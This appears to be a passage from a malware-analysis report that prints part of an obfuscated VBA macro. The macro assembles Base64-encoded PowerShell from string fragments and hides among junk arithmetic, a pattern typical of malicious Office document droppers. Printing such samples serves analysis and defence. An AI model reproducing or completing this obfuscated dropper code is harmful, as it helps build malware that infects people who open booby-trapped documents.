"GMAaABhAFIAXQA" + "xADAAMAA" + "pACwA" + "WwBTAFQAcgBpAE" + "4AZwBdAF" + "sAYwB" + "oAGEAUgBdADMAO" + "QApAC4AcgBFAH" + "AAbABhAEMA" zRSMA = (RCnMI * Huijva - vawqR * Round(24686)) + (70267 - Rnd(ZrSJY) + 60498 + ZtQhw) CLjUMiBBv = "RQAoACgAWw" + "BjAGg" + "AYQBSAF0ANAA" + "5ACsAWwBjA" + "GgAYQBSAF0" + "ANQA2ACsA" GLaPb = (ukTEC * TOdDb - AQUsL * Round(40340)) + (5641 - Rnd(zAVoSO) + 53845 + pOVaqG) sjbwkOupiwE = "WwBjAGgAYQBSAF" + "0AOAA0ACkALAB" + "bAFMA" + "VAByAGkATg" + "BnAF0AWwBjAGgAY" + "QBSAF0AMwA0AC" SGmQBF = (cVRQh * CNAFMr - tOimn * Round(61705)) + (55812 - Rnd(OiBKt) + 50293 + lYEBi) IsTXURtmQi = "kALgByAEU" + "AcABsAGEAQwBF" + "ACgAJwBtAHIAd" + "wAnAC" + "wAJwBg" jkQjhbFmT = ujRwC + nukLoUM + RLCUpQmmw + NPzKSLYi + StqfXsH + BHGCZrBK + CLjUMiBBv + sjbwkOupiwE + IsTXURtmQi End Function Function LLOFrW() On Error Resume Next YAWCht = (bOPOww * DcAdVc - NmQGnH * Round(99898)) + (54436 - Rnd(BLMcVO) + 15024 + FmpwAS) TwsRvU = "ACcAKQAgACkA" LLOFrW = TwsRvU End Function |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.